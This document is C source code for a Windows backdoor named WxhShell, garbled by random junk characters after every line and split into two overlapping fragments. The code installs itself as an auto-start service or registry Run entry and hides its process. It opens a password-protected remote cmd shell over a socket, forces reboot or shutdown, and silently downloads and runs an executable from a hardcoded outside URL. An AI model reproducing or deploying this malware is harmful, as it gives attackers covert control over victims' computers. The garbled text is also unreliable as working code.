    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); := ]sq}IN  
    if(Boot(SHUTDOWN)) W`w5jk'0^=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A4~D#V  
    else { "PZYgl  
    closesocket(wsh); *?EO n-  
    ExitThread(0); (~q#\  
    } \Oi5=,  
    break; 1M7\:te*  
    } pg} ~vb"  
  // 获取shell V?U%C%C|e  
  case 's': { =Jsg{vI  
    CmdShell(wsh); <$RS*n  
    closesocket(wsh); L 2[Ei|9_  
    ExitThread(0); j l;kcGE  
    break; 9@$tiDV  
  } #H'sZv  
  // 退出 `G_(xN7O  
  case 'x': { Es.toOH$S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,`ZPtnH+  
    CloseIt(wsh); X_vI0YX9  
    break; w{_e"N  
    } 04I6 -}6  
  // 离开 Y&oP>n! ei  
  case 'q': { L4\SB O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ipx@pNW;"  
    closesocket(wsh); =-OCM*5~S  
    WSACleanup(); t}5'(9  
    exit(1); "[%;B0J  
    break; ZAI1p+  
        } u5u0*c  
  } B, QC -Tn  
  } ^Nd|+}  
dH ^b)G4  
  // 提示信息 1<XiD 3H;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hEyX~f  
} l-DGy#h+z  
  } WE+sFaKq-  
2(+RIu0d  
  return; ]&3s6{R  
} *%ed;>6:Q  
;J,,f1Vw  
// shell模块句柄 D=i0e8D!+  
int CmdShell(SOCKET sock) d[s;a.  
{ 1?/5A|?V4+  
STARTUPINFO si; {{^Mr)]5K  
ZeroMemory(&si,sizeof(si)); ?F?\uC2)'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aHBByH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }V1DyLg :  
PROCESS_INFORMATION ProcessInfo; K $Mx}m7l  
char cmdline[]="cmd"; 3Eb nZb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [(D}%+2   
  return 0; #Pb7EL#c  
} a}5vY  
_4~ng#M*  
// 自身启动模式 m NUN6qVP~  
int StartFromService(void) LU-#=1Q  
{ qP7&LtU  
typedef struct . 1{vpX  
{ 1Y H4a|bc  
  DWORD ExitStatus; N:UDbLjw~  
  DWORD PebBaseAddress; ROJ'-Vde9  
  DWORD AffinityMask; y9V;IXhDc  
  DWORD BasePriority; [oQ`HX1g  
  ULONG UniqueProcessId; /7UovKKbz  
  ULONG InheritedFromUniqueProcessId; q;1VF;<"vH  
}   PROCESS_BASIC_INFORMATION; oiTMP`Y  
]>VJ--fH  
PROCNTQSIP NtQueryInformationProcess; ~|aeKtCs(.  
WU+Jo@]y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "}]GQt< F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _|^&eT-u  
d&[M8(  
  HANDLE             hProcess; J[<D/WIH  
  PROCESS_BASIC_INFORMATION pbi; ;55tf l  
sx;V,"Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R` I8Ud4=  
  if(NULL == hInst ) return 0; 6nY )D6$JG  
# `N6<nb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q5?rp|7D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bWX[<rh'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4%',scn  
~xlMHf  
  if (!NtQueryInformationProcess) return 0; Lyf? V(S  
hr~qt~Oi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J { GFb  
  if(!hProcess) return 0; Ovl?j&8  
)$gsU@H -  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +(I`@5  
-7Aw s)  
  CloseHandle(hProcess); a0V8L+v(  
S5*~r@8h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z3X&<Y5  
if(hProcess==NULL) return 0; 1A`?y& Ll  
;EE&~&*w  
HMODULE hMod;  MrKU,-  
char procName[255]; \Age9iz&  
unsigned long cbNeeded; :o.x=c B  
V<~_OF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B>p0FQ.  
rHC+nou  
  CloseHandle(hProcess); Q C\,  
Mu_mm/U_  
if(strstr(procName,"services")) return 1; // 以服务启动 N:PA/V^z  
V:0uy>  
  return 0; // 注册表启动 bgzT3KZ  
} '1kj:Np  
Zgy2Pot  
// 主模块 Rktn/Vi  
int StartWxhshell(LPSTR lpCmdLine) <u x*r#a!d  
{ /C,>  
  SOCKET wsl; |ZST Y}RXA  
BOOL val=TRUE; JT.\f,z&  
  int port=0; fo!Lp*'0  
  struct sockaddr_in door; SSL%$:l@  
b68G&z>   
  if(wscfg.ws_autoins) Install(); Vav+$l|j@  
:ET3&J L  
port=atoi(lpCmdLine); MoKXl?B<  
Oc"'ay(g  
if(port<=0) port=wscfg.ws_port; :~0^ib<v;  
[MQJ71(3  
  WSADATA data; iZkW+5(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;)= zvr17  
`%mBu`A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X#Dhk6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }VGI Y>v  
  door.sin_family = AF_INET; vS J<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :m)Rmwn_  
  door.sin_port = htons(port); giSG 6'WA  
}TX'Z?Lq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D|Ihe%w-  
closesocket(wsl); +SuUI-.  
return 1; Mc$v~|i6  
} \MFWK#W  
:)J~FVLy  
  if(listen(wsl,2) == INVALID_SOCKET) { } ^GV(]K  
closesocket(wsl); Z#TgFQ3u  
return 1; }eDX8b8emA  
} _OknP2E  
  Wxhshell(wsl); Xb+if  
  WSACleanup(); q/w6sQx$  
2=/g~rp*  
return 0; tO+%b=Z^  
Og;$P 'U  
} C5sN[  
;qVEI/  
// 以NT服务方式启动 "-j@GCme  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I 3zitI;  
{ ,QHx*~9  
DWORD   status = 0; lc$@Jjg9  
  DWORD   specificError = 0xfffffff; A^r [_dyZ  
9tc@   
  serviceStatus.dwServiceType     = SERVICE_WIN32; C!/8e (!N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `i>B|g-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^?^|Y?f2P?  
  serviceStatus.dwWin32ExitCode     = 0;  I^(o3B  
  serviceStatus.dwServiceSpecificExitCode = 0; J\dhi{0  
  serviceStatus.dwCheckPoint       = 0; 4G;`KqR@  
  serviceStatus.dwWaitHint       = 0; G$x["  
4}_w4@(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rD(ep~^M  
  if (hServiceStatusHandle==0) return; y/sWy1P7  
Ng;b!S  
status = GetLastError(); d$?n6|4  
  if (status!=NO_ERROR) ,f /IG.  
{ _"w!KNX>(~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ++{+ #s6  
    serviceStatus.dwCheckPoint       = 0; T\e)Czz2-  
    serviceStatus.dwWaitHint       = 0; s<r.+zqW  
    serviceStatus.dwWin32ExitCode     = status; _KkVI7a  
    serviceStatus.dwServiceSpecificExitCode = specificError; x4m_(CtK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |_xiG~  
    return; G`9F.T_Z^)  
  } IrwF B  
h&)vdCCk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :jKXKY+T  
  serviceStatus.dwCheckPoint       = 0; #u=O 5%.  
  serviceStatus.dwWaitHint       = 0; M4hN#0("4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fN*4(yw  
} ,YMdXYu`s  
k#=leu"I  
// 处理NT服务事件,比如:启动、停止 8DS5<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) knK=ENf;e  
{ -ZoOX"N}  
switch(fdwControl) _]r)6RT  
{ Bzy=@]`  
case SERVICE_CONTROL_STOP: HG3>RcB  
  serviceStatus.dwWin32ExitCode = 0; qP^0($  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; by y1MgQd  
  serviceStatus.dwCheckPoint   = 0; sImxa`kb  
  serviceStatus.dwWaitHint     = 0; _467~5JkU  
  { &\]f!'jV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=G Xe.}4d  
  } z Q|x>3   
  return; U/&qV"Ih  
case SERVICE_CONTROL_PAUSE: B oj{+rE0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; owY_cDzrH  
  break; "$"mWF-  
case SERVICE_CONTROL_CONTINUE: <$3nD b-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; . ;@) 5"  
  break; "vRqtEBO@  
case SERVICE_CONTROL_INTERROGATE: gMK3o8B/  
  break; dv9Pb5i  
}; nu9k{owB T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .idl@%  
} 3{L vKe  
+VW]%6 +  
// 标准应用程序主函数 ?QIQ,?.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <sFf'W_3{  
{ x2&! PpM  
xY'YbHFz  
// 获取操作系统版本 "N/K*  
OsIsNt=GetOsVer(); 6=lQT 9u{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fu "z%h]   
? A#z~;X@  
  // 从命令行安装 :pjK\  
  if(strpbrk(lpCmdLine,"iI")) Install(); gLxy RbVI  
hE#8_34%s  
  // 下载执行文件 %Kfa|&'zV  
if(wscfg.ws_downexe) { KeOBbe  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K$vRk5U  
  WinExec(wscfg.ws_filenam,SW_HIDE); HY|SLk/E  
} ,Y5 4(>>%  
3@ukkO)   
if(!OsIsNt) { 5'Ay@FJ:  
// 如果时win9x,隐藏进程并且设置为注册表启动 qlT:9*&g  
HideProc(); +~k,4  
StartWxhshell(lpCmdLine); 257;@;  
} iR5soIR  
else k 5r*?Os  
  if(StartFromService()) b2f2WY |z>  
  // 以服务方式启动 VM|)\?Q  
  StartServiceCtrlDispatcher(DispatchTable); Fl>j5[kLZ  
else ,F9wc<V8  
  // 普通方式启动 qq%_ksQ  
  StartWxhshell(lpCmdLine); ^[z\KmUqt  
r$eL-jQmn  
return 0; |w]i$`3'I  
} XBt0Ez  
5h^qtK  
(9_e >2_  
 F%$Ws>l  
=========================================== $/#)  
uOUw8  
m/B9)JzY  
ZS>/ 5  
+hhbp'%  
I%*Z j,>  
" I}0 -  
CMjPp`rA  
#include <stdio.h> ][qA@3^Tw  
#include <string.h> ?gP/XjToMg  
#include <windows.h> |-Klh  
#include <winsock2.h> \`9|~!,Ix7  
#include <winsvc.h> `CouP-g.  
#include <urlmon.h> 9>, \QrrH  
pnb$lpxt  
#pragma comment (lib, "Ws2_32.lib") FsZEB/c  
#pragma comment (lib, "urlmon.lib") F qyJ*W\1  
by ee-BU  
#define MAX_USER   100 // 最大客户端连接数 F+-MafN7Y  
#define BUF_SOCK   200 // sock buffer s_?* R  
#define KEY_BUFF   255 // 输入 buffer ,qh  
+mPB?5  
#define REBOOT     0   // 重启 }slEkpk? ]  
#define SHUTDOWN   1   // 关机 >'g60R[  
]>!_OCe&  
#define DEF_PORT   5000 // 监听端口 V0B4<TTAo~  
. k DCcnm  
#define REG_LEN     16   // 注册表键长度 ]V\ g$@  
#define SVC_LEN     80   // NT服务名长度 ~;a* Oxt  
\aRB   
// 从dll定义API ;G&O"S><]c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~i {)J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I`lH6hHp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~%q e,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Jq@LZ2^  
.qP zd(<T7  
// wxhshell配置信息 n8C {Okr  
struct WSCFG { RS=7W._W  
  int ws_port;         // 监听端口 fP*C*4#X  
  char ws_passstr[REG_LEN]; // 口令 KDzIarC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3p#^#1/_  
  char ws_regname[REG_LEN]; // 注册表键名 lsxii-#O  
  char ws_svcname[REG_LEN]; // 服务名 j}Mpc;XOc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |'(IWU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h 'CLf]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SK2pOZN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v3]M;Y\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N#qoKY(#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "lMWSCas  
#jR?C9&!(  
}; 9$t@Gmn  
\EqO;A%<  
// default Wxhshell configuration ,peFNpi  
struct WSCFG wscfg={DEF_PORT, 0(.C f.B~  
    "xuhuanlingzhe", <m\TZQBD  
    1, v2SsfhT  
    "Wxhshell", S+ x [1#r  
    "Wxhshell", hD=D5LYAZ  
            "WxhShell Service", 8 F 1ga15  
    "Wrsky Windows CmdShell Service", !"">'}E1  
    "Please Input Your Password: ", 4^A'A.0  
  1, '/@VG_9L]  
  "http://www.wrsky.com/wxhshell.exe", |1$X`|S  
  "Wxhshell.exe" B W1O1zIh\  
    }; v7RDoO]I  
iE{SqX  
// 消息定义模块 eLWzd_ln  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ![Y$[l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #6nA^K}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IEj`:]d  
char *msg_ws_ext="\n\rExit."; Z r*ytbt  
char *msg_ws_end="\n\rQuit."; FL}8h/  
char *msg_ws_boot="\n\rReboot..."; f5eX%FR  
char *msg_ws_poff="\n\rShutdown..."; zj}efv<e  
char *msg_ws_down="\n\rSave to "; w}0PtzOe  
d DTt_B  
char *msg_ws_err="\n\rErr!"; `8*$$JC  
char *msg_ws_ok="\n\rOK!"; ^^mi@&ApLD  
5 [*jfOz  
char ExeFile[MAX_PATH]; Ei!z? sxzx  
int nUser = 0; uDUSR+E>  
HANDLE handles[MAX_USER]; @B <_h+  
int OsIsNt; WbF\=;$=7  
Ro69woU  
SERVICE_STATUS       serviceStatus; -R]S)Odml  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L T!X|O.  
p^3d1H3   
// 函数声明 5^i ^?  
int Install(void); _;+&'=6.[  
int Uninstall(void); :I8t}Wg  
int DownloadFile(char *sURL, SOCKET wsh); 1,,:4 *)  
int Boot(int flag); ~M=`f{-$K  
void HideProc(void); q9>w3 <  
int GetOsVer(void); {w(N9Va,(  
int Wxhshell(SOCKET wsl); ^|2qD: ;  
void TalkWithClient(void *cs); W*#/@/5  
int CmdShell(SOCKET sock); w\a#Bfcv  
int StartFromService(void); xFh}%mwpt[  
int StartWxhshell(LPSTR lpCmdLine); >U]. k8a)  
[&&4lKC}u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); auU{I y   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /fEXAk  
j(hC't-  
// 数据结构和表定义 UKdzJEhG  
SERVICE_TABLE_ENTRY DispatchTable[] = GWsFW[T?~  
{ [DviN  
{wscfg.ws_svcname, NTServiceMain}, w ;O '6"  
{NULL, NULL} a'r\e2/e?H  
}; 2TO1i0  
Sr0mA M  
// 自我安装 Smo'&x  
int Install(void) tVwN92*J  
{ #';r 0?|  
  char svExeFile[MAX_PATH]; Tbw8#[6AX  
  HKEY key; 6kk(FVX  
  strcpy(svExeFile,ExeFile); dcsd//E  
A}o1I1+  
// 如果是win9x系统,修改注册表设为自启动 "=)`*"rr  
if(!OsIsNt) { >jm9x1+C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {1 mD(+pJ{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +VDB\n   
  RegCloseKey(key); NoT oLt\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `CBTZG09  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CS  
  RegCloseKey(key); *^]ba>  
  return 0; #=2~MXa@z7  
    } 78kk"9h'  
  } X|:O`b$G  
} C.|MA(7  
else { L!5HE])<)  
`O F\f  
// 如果是NT以上系统,安装为系统服务 43YusUv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sj1x>  
if (schSCManager!=0) (]L=$u4  
{ ftbu:RtK^^  
  SC_HANDLE schService = CreateService @r<w|x}  
  ( !|]%^G  
  schSCManager, bZ=d!)%P-{  
  wscfg.ws_svcname, }j QwP3eY  
  wscfg.ws_svcdisp, QH eUpJ/^  
  SERVICE_ALL_ACCESS, u<[Y6m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l%fl=i~oN  
  SERVICE_AUTO_START, >8c9-dTmf  
  SERVICE_ERROR_NORMAL, 4f+Ke*^[RA  
  svExeFile, xE:p)B-]  
  NULL, :v+ 39  
  NULL, o_S8fHqjt  
  NULL, juM?y'A  
  NULL, &j$k58mX  
  NULL o{/D:B  
  ); %%#zO Z  
  if (schService!=0) 5E]I  
  { %NuS!v>  
  CloseServiceHandle(schService); Sn0 Gw  
  CloseServiceHandle(schSCManager); A-kI_&g\Og  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Z+]Tqo  
  strcat(svExeFile,wscfg.ws_svcname); 2X:n75()  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pq4frq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j`bOJTBE  
  RegCloseKey(key); QAr1U7{(.  
  return 0; SExd-=G  
    } F C"dQ  
  } Y0DBkg  
  CloseServiceHandle(schSCManager); }Q*8QV  
} *ZRQ4i[+  
}   ~*RNJ  
h c "n?  
return 1; +g*Ko@]m>  
} ey:3F%  
\;~>AL*  
// 自我卸载 VrHFM(RNe  
int Uninstall(void) Q%6*S!~  
{ 0YKG`W  
  HKEY key; sXAXHZ{  
m$3&r2vgi  
if(!OsIsNt) { m]85F^R0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aX~7NslR  
  RegDeleteValue(key,wscfg.ws_regname); ^ `!6Yax?  
  RegCloseKey(key); 5 gE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oY &r76  
  RegDeleteValue(key,wscfg.ws_regname); AV?*r-vWL.  
  RegCloseKey(key); \JX8`]|&  
  return 0; h4]yIM `8d  
  } nlKWZYv  
} l+@NjZGm<  
} 3S Dw-k  
else { ]kr OPM/  
=6ojkTk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zg|]Ic  
if (schSCManager!=0) mwBOhEefNJ  
{ `.@N9+Aj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y?Xs Z  
  if (schService!=0) X\_ku?]v  
  { NcdOzx>  
  if(DeleteService(schService)!=0) { mZmwCS8  
  CloseServiceHandle(schService); '/mwXvl  
  CloseServiceHandle(schSCManager); 4e* rBTl  
  return 0; 8{'L:yzMY  
  } }I !D65-#'  
  CloseServiceHandle(schService); Q\}5q3  
  } hW]:CIqk  
  CloseServiceHandle(schSCManager); 7 'N&jI   
} rTQrlQ:@  
} 94A re<  
U:p<pTnMR  
return 1; TRa|}JaI"  
} Y~,N,>nITu  
hl8[A-d(R  
// 从指定url下载文件 zUWu5JI  
int DownloadFile(char *sURL, SOCKET wsh) 8|gwH2 st~  
{ Y2}\~I0  
  HRESULT hr; v#F .FK  
char seps[]= "/"; XK>B mq/]  
char *token; 4~DoqT  
char *file; N|wI=To  
char myURL[MAX_PATH]; %kUIIH V}  
char myFILE[MAX_PATH]; }k$2r3  
|?g k%g  
strcpy(myURL,sURL); (wkeo{lx  
  token=strtok(myURL,seps); K^> +"  
  while(token!=NULL) |-bAz t  
  { <a; <|Fm.  
    file=token; h",kA(+P  
  token=strtok(NULL,seps); ><+wHb  
  } S U04q+  
n1X7T0'  
GetCurrentDirectory(MAX_PATH,myFILE); }<m9w\pA  
strcat(myFILE, "\\"); w\!aKeP'  
strcat(myFILE, file); cE'MSB  
  send(wsh,myFILE,strlen(myFILE),0); pwr,rAJ}$j  
send(wsh,"...",3,0); z^bv)u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *Mk5*_  
  if(hr==S_OK) It&$R`k  
return 0; mGb,oj7l  
else (V 5_q,2  
return 1; @uApm~}  
63 F@F t  
} rxJmK$qd  
;.+sz(:hm  
// 系统电源模块 I'm.+(1m,  
int Boot(int flag) WZ> }  
{ Dm2&}{&K  
  HANDLE hToken; 1$H*E~  
  TOKEN_PRIVILEGES tkp; Z$"E|nRN  
qX>mOW^gT8  
  if(OsIsNt) { ')zdI]@ M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X|++K;rtfE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _XvSe]`f`  
    tkp.PrivilegeCount = 1; 5=(fuY3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y {a#2(xn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u[k0z!p_ c  
if(flag==REBOOT) { yL{X}:;}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  *Yj!f68  
  return 0; 9l<f?OzAO  
} ~qekM>z  
else { P :zZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nB>C3e  
  return 0; j#6@ cO'`  
} 2[zFKK  
  } = wEU+R_#o  
  else { _9*3Mr)2N  
if(flag==REBOOT) { ^VabXGzo#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h)7hk*I  
  return 0; :@K 1pAh4  
} zg>4/10P1q  
else { O7vJ`K(!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d.>Zn?u4L  
  return 0; :%!` R72  
} 6ZKSet8  
} kbu.KU+  
4;_aFn  
return 1; vf^`'  
} xO3-I@  
l7vU{Fd-h^  
// win9x进程隐藏模块 X!6oviT|m  
void HideProc(void) ,X^I]]  
{ xYSNop3_  
K FMx(fD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w\SfzJN  
  if ( hKernel != NULL ) x`9IQQ  
  { q.I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GE?M. '!{{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6)5Akyz4V  
    FreeLibrary(hKernel); A}"aH  
  } fRlO.!0(  
: ZehBu  
return; *{TB<^ *  
} 9\ f%+?p  
pT ]:TRPS  
// 获取操作系统版本 iTUOJ3V7i  
int GetOsVer(void) _e4%<!1  
{ ( &N`N1  
  OSVERSIONINFO winfo; q#pD}Xe$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #u]'3en  
  GetVersionEx(&winfo); 3pU/Z bb,:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {&3{_Ml  
  return 1; :9?y-X  
  else 5|:t$  
  return 0; 4 s&9A/&pC  
} $OGTHJA  
uz U2)n3y  
// 客户端句柄模块 jc0Trs{Jf  
int Wxhshell(SOCKET wsl) I)s~kA.e  
{ KdN+$fe*g  
  SOCKET wsh; MVDEVq0  
  struct sockaddr_in client; 0vYHx V  
  DWORD myID; MeCHn2zwB  
^p7g[E&  
  while(nUser<MAX_USER) U]Pl` =SL  
{ `%@| sK2  
  int nSize=sizeof(client); 2,T^L (]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @3g$H[}  
  if(wsh==INVALID_SOCKET) return 1; +0DPhc  
/u&{=nU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tMbracm  
if(handles[nUser]==0) K."%PdC  
  closesocket(wsh); Q95`GuI@  
else `PH]_]:%  
  nUser++; sW#OA\i &  
  } Aq3.%,X2H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zb_nU7Eg  
T>P[0`*)  
  return 0; rP%B#%;S"  
} SOg>0VH)  
3OZu v};k  
// 关闭 socket /k_?S?  
void CloseIt(SOCKET wsh) md S`nhb  
{ r P1FM1"M  
closesocket(wsh); zLt7jxx  
nUser--; B QxU~s  
ExitThread(0); .=`r?#0  
} 0D==0n  
v$JhC'  
// 客户端请求句柄 G _1`NyI  
void TalkWithClient(void *cs) hf('4^  
{ |i~Ab!*8n  
P70]Ju  
  SOCKET wsh=(SOCKET)cs; .S{>?2  
  char pwd[SVC_LEN]; oj$^87KX  
  char cmd[KEY_BUFF]; IVY{N/ 3|  
char chr[1]; 3q}fDM(@J  
int i,j; rb_FBa%  
zt3y5'Nk  
  while (nUser < MAX_USER) { 4).i4]%LH  
7c8A|E0\mF  
if(wscfg.ws_passstr) {   mN^/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .e Jt]K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f=,(0ygt/  
  //ZeroMemory(pwd,KEY_BUFF); f%gdFtJ &  
      i=0; q'9}Hz  
  while(i<SVC_LEN) { 'h*^;3@*  
W|,Y*l  
  // 设置超时 I 7 B$X=  
  fd_set FdRead; XLq%nVBM8\  
  struct timeval TimeOut; Ec4+wRWk85  
  FD_ZERO(&FdRead); y/9aI/O'  
  FD_SET(wsh,&FdRead); {3H)c^Q  
  TimeOut.tv_sec=8; rY:A LA  
  TimeOut.tv_usec=0; Et0[HotO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7SVq fWp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q-<t'uhs[  
%4#Q3YlyD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =jEh#  
  pwd=chr[0]; yRdME>_L  
  if(chr[0]==0xd || chr[0]==0xa) { VdC,M;/=Z  
  pwd=0; S9VD/  
  break; lO+6|oF0  
  } \2U FJ  
  i++; |A/)b78'u  
    } >0c4C< _  
@b]?Gg  
  // 如果是非法用户,关闭 socket N*$L#L$*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V/,@hv`+  
} Kh' 7N!  
BXj]]S2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {37v.4d;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~k[mowz0  
CtO;_ ;eD'  
while(1) { 0; PV gO;9  
vCe]iB  
  ZeroMemory(cmd,KEY_BUFF); ^|kqy<<X  
Z8xKg  
      // 自动支持客户端 telnet标准   +BaZl<ZP1s  
  j=0; 1;FtQnvH  
  while(j<KEY_BUFF) { jMUN|(=Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~u^MRe|`  
  cmd[j]=chr[0]; $kD ;*v=  
  if(chr[0]==0xa || chr[0]==0xd) { S#[w).7  
  cmd[j]=0; ^6kE tTO*  
  break; WJ[ybzVj  
  } WJA0 `<~  
  j++; =bgu2#%Z  
    } c8<qn+=%?  
81jVjf?`  
  // 下载文件 GFX$vn-/F  
  if(strstr(cmd,"http://")) { A^3M~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x(r~<a[  
  if(DownloadFile(cmd,wsh)) PYhRP00}M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2M`:/shq  
  else r&0IhE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >u=Dc.lX  
  } [19QpK WM  
  else { :41Ch^\E  
+`]AutNv  
